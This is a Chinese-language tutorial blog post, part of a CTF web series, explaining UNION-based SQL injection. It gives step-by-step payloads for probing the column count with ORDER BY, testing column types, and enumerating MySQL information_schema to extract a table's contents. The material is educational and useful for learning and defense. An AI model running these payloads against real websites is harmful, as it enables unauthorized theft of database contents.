iT邦幫忙

2021 iThome 鐵人賽

DAY 10
0

Q1. UNION 型 SQL 注入是什麼

  • SQL 語法中,有個 UNION 的關鍵字,可以使用它執行多個 SELECT

    • SELECT a FROM table1 UNION SELECT b FROM table2
    • 將會回傳包含 table1 的 a 行 與 table2 的 b 行的值

    https://ithelp.ithome.com.tw/upload/images/20210924/201405928kzXIXR8NY.png

  • 由於 UNION 是將資料聯集起來,需要滿足兩個條件才能使用

    • 前後的資料欄位數量必須相同,才能夠合併。
    • 每一欄的資料類型必須兼容
      • 不可以某一欄只接受數字,但是你卻嘗試將字元型的也併入

參考資料:https://www.jianshu.com/p/7436b10ceb71

Q2. 如何確認資料欄位數量?

  • 假設原 SQL 中, SELECT 了三個欄位 (分別為 idaccountpassword)

https://ithelp.ithome.com.tw/upload/images/20210924/20140592kELLqTc9ck.png

  • 由於原SQL語法只有 SELECT 三個欄位,所以當駭客測試到 ORDER BY 4 就會回報錯,駭客就可以得知原語法只有三個欄位
<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;

Q3. 如何確認資料類型?

https://ithelp.ithome.com.tw/upload/images/20210924/20140592TtVzdQhS0r.png

  • 目前已經得知 SELECT 三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)
  • 由於數字可以被資料庫當作字元,字元不能被當作數字,所以我們使用一個字元 'a' 來對每個欄位進行測試
  • 當數據類型不相容,則會產生錯誤,若資料庫中 id 欄位只接受數字,則在 SELECT 'a', NULL, NULL 指令中會顯示錯誤
<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a' 

Q4. 如何得知欄位名稱?

  • 得知欄位數量、欄位類型,我們已經可以開始竊取資料。假設原 SQL 語法如下:

    SELECT `id`, `name`
    FROM `User`
    WHERE `id` = {id};
    
    • SELECT 的欄位數量為 2
    • 網頁上只會顯示 name 的資料

    則此時我們便可以構建 SQL 語法,使得想竊取的資料與 name 欄位聯集,例如:

    SELECT `id`, `name`
    FROM `User`
    WHERE `id` = 0
    UNION SELECT NULL, `content`
    FROM `Secret`;
    
  • 然而我們還需知道資料庫中的結構(準確的說,是需要知道名稱,如上例中的 Secretcontent),方能構建正確的 SQL 語法。

  • 在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema。其中:

    • information_schema.schemata :可以抓取 database 的名稱。以下圖為例,可以發現有 CTF 這個 database。

      https://ithelp.ithome.com.tw/upload/images/20210924/20140592kdtOAvpU3F.png

      • 利用 UNION,我們可以構建這樣的 SQL 語法,取得資料庫名稱:
      <原SQL語法> 
      UNION SELECT NULL, `SCHEMA_NAME` 
      FROM `information_schema`.`schemata`;
      
    • information_schema.tables :此 table 中,儲存了各個資料庫的 table 資訊,因此可以從中抓 table 的名稱。此例用 WHERE TABLE_SCHEMA = 'CTF' 來篩選 database 為 CTF 的 table,可以發現有 UserSecret 兩個 tables。

    • https://ithelp.ithome.com.tw/upload/images/20210924/20140592NFuHObQnrI.png

      • 利用 UNION,我們可以構建這樣的 SQL 語法,取得資料表名稱:
      <原SQL語法> 
      UNION SELECT NULL, `TABLE_NAME` 
      FROM `information_schema`.`tables` 
      WHERE `TABLE_SCHEMA` = 'CTF';
      
    • information_schema.columns :可以抓取 column 的名稱。此例沿用上例中發現的 Secret Table 進行篩選,可以發現有 content 這個欄位。

    https://ithelp.ithome.com.tw/upload/images/20210924/20140592Gy6hBMozhq.png

    • 利用 UNION,我們可以構建這樣的 SQL 語法,取得 column 名稱:
    <原SQL語法> 
    UNION SELECT NULL, `COLUMN_NAME`
    FROM `information_schema`.`columns`
    WHERE `TABLE_SCHEMA` = 'CTF'
        AND `TABLE_NAME` = 'Secret';
    
  • 有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來。

    <原SQL語法> 
    UNION SELECT NULL, `content`
    FROM `Secret`;
    

上一篇
【第九天 - 數字型 SQL注入】
下一篇
【第十一天 - 布林SQL盲注】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言